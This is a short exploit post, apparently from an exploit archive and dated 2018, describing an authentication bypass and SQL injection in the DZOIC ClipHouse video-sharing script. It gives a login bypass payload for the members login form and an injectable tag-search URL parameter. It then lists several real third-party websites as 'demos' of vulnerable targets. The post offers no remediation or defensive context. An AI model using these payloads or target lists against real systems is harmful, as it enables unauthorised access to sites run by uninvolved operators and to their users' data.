DZOIC ClipHouse suffer from auth bypass remote sql injection

============================================================
DZOIC ClipHouse suffer from auth bypass remote sql injection
============================================================

[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: DZOIC ClipHouse suffer from auth bypass remote sql injection
[~] Vendor: www.dzoic.com
[?] Software: DZOIC ClipHouse
[-] PR!CE : $149.00
[?] author: ((R3d-D3v!L))
[?]
[-]??????????????????????{DEV!L'5 of SYST3M}??????????????????
 
[?] Exploit:
 
 
X666 : LOGIN FROM MAIN PAGE
 
 
 
FROM Members Login W!NDOw
 
[?] Username : admin_name
 
[?] password : x' or ' 1=1--

AND

127.0.0.1/index.php?handler=tags&action=tagsearch&tag=[SQL]

Demos:
http://www.funvid.hu/index.php?handler=tags&action=tagsearch&tag='
http://www.cliphousedemo.com/index.php?handler=tags&action=tagsearch&tag='
http://losttreasure.tv/index.php?handler=tags&action=tagsearch&tag='
http://www.dzoicmods.com/ch/index.php?handler=tags&action=tagsearch&tag='
http://cirtex.tv/cliphouse/index.php?handler=tags&action=tagsearch&tag='
http://www.comedy.tmindex.php/?handler=tags&action=tagsearch&tag='
http://eatfeetny.com/index.php?handler=tags&action=tagsearch&tag='
http://advertstube.com/index.php?handler=tags&action=tagsearch&tag='
http://www.gametoria.com/index.php?handler=tags&action=tagsearch&tag='



#  0day.today [2018-03-14]  #